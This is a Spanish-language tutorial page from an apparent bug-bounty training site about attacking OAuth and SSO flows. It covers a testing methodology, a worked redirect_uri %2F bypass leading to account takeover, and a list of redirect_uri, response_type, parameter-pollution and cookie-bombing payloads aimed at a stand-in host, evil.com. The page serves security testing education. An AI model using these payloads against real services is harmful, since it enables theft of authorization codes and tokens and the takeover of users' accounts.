Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →OAuth & SSO
Ataques en flujos de autorización delegada y Single Sign-On
Respuesta rápida
¿Qué es OAuth & SSO?
OAuth permite a los usuarios autorizar a aplicaciones de terceros a acceder a sus datos sin compartir contraseñas. Los fallos en la implementación pueden llevar a account takeover, exfiltración de tokens y CSRF en flujos de autorización.
Severidad
Crítico
Frecuencia
Muy común
Payloads
10
Pasos
6
Severidad
Crítico
Frecuencia
Muy común
Payloads
10
Los flujos OAuth son complejos y tienen múltiples parámetros manipulables: redirect_uri, state, response_type, scope. Un fallo en la validación de cualquiera de estos puede comprometer la seguridad completa del flujo de autenticación.
Dónde buscar
Login con terceros
Botones de 'Sign in with Google/GitHub/Microsoft'. El flujo completo desde la redirección hasta el callback.
Redirect URI
El parámetro redirect_uri es el principal vector. Prueba variaciones: subdominios, path traversal, open redirect chains.
State parameter
Si falta o no se valida, el flujo es vulnerable a CSRF — puedes vincular tu OAuth a la cuenta de otro usuario.
Token en URL fragment
En implicit flow, el token va en el fragment (#). Puede filtrarse vía Referer header o JavaScript.
Integrations page
Funcionalidades de 'Conectar cuenta de GitHub/Slack' — mismos vectores OAuth.
Metodología
Mapear el flujo completo
Intercepta todo el flujo OAuth: authorize URL → login en provider → callback con code → token exchange. Anota cada parámetro.
Probar redirect_uri
Cambia redirect_uri a tu dominio. Si se refleja → open redirect → token leak. Prueba: target.com@evil.com, target.com.evil.com, /\/evil.com
Verificar state parameter
¿Existe? ¿Es aleatorio? ¿Se valida en el callback? Si falta → CSRF para vincular tu OAuth a la cuenta de la víctima.
Probar response_type
Cambia code por token (implicit flow). El token puede quedar expuesto en el fragment de la URL.
Reutilización de codes
¿El authorization code se invalida después de usarlo? Captura uno y úsalo dos veces.
Bypass de restricciones
Prueba HTTP Parameter Pollution (redirect_uri[0), encoding (%2F), y doble codificación.
Caso real
OAuth redirect_uri bypass vía reverse proxy → Account Takeover
Identificar flujo OAuth
La app usa 'Login con Google' con redirect_uri whitelistado a https://target.com/callback.
Bypass de whitelist
El proxy inverso no decodifica %2F en la URL, pero el backend sí: redirect_uri=https://target.com%2F@evil.com/callback
Captura del authorization code
Google envía el code a evil.com porque la URL resuelta es https://evil.com/callback.
Exchange del code
El atacante intercambia el code por un access token en el endpoint de la víctima → acceso completo a la cuenta.
Lección: Las diferencias entre cómo el proxy y el backend parsean URLs son una fuente constante de bypasses. Siempre prueba encoding de / como %2F en redirect_uri.
Payloads
Redirect a dominio externo
redirect_uri=https://evil.com/callback
Subdomain matching bypass
redirect_uri=https://target.com.evil.com/callback
URL authority confusion
redirect_uri=https://target.com@evil.com/callback
Path traversal en redirect
redirect_uri=https://target.com/callback/../../../evil.com
Cambiar a implicit flow
response_type=token (en vez de response_type=code)
Payloads avanzados(requiere cuenta)
HTTP Parameter Pollution
redirect_uri=https://target.com/callback&redirect_uri=https://evil.com
Encoding bypass (%2F)
redirect_uri=https://target.com%2F@evil.com/callback
Google domain bypass
&hd=attacker.com (restringe el login a un dominio específico)
State parameter path traversal
state=../../../imageProxy/evil.com (si el state se usa en URLs internas)
Cookie bombing → 431
Setear cookies gigantes → forzar error 431 que expone el redirect con el code
Contenido exclusivo
Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass
Crear cuenta gratisHerramientas
Burp Suite
Esencial para capturar y manipular redirects, codes y tokens en el flujo OAuth.
Interceptar todo el flujo OAuth y modificar parámetros
OWASP OAuth Testing Guide
Guía completa de testing OAuth con checklist de vulnerabilidades.
https://owasp.org/www-project-web-security-testing-guide/
Tips
redirect_uri es el target #1
El 80% de los bugs OAuth están en la validación del redirect_uri. Prueba todas las variaciones posibles.
Sin state = CSRF
Si no hay parámetro state o no se valida, puedes vincular tu OAuth a la cuenta de otro usuario.
Implicit flow es peligroso
Si puedes cambiar response_type=code a response_type=token, el token queda expuesto en la URL.
Prueba code reuse
Usa el mismo authorization code dos veces. Si funciona, puedes capturar uno y usarlo antes que la víctima.
Contenido relacionado
Practica OAuth & SSO con labs reales
Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.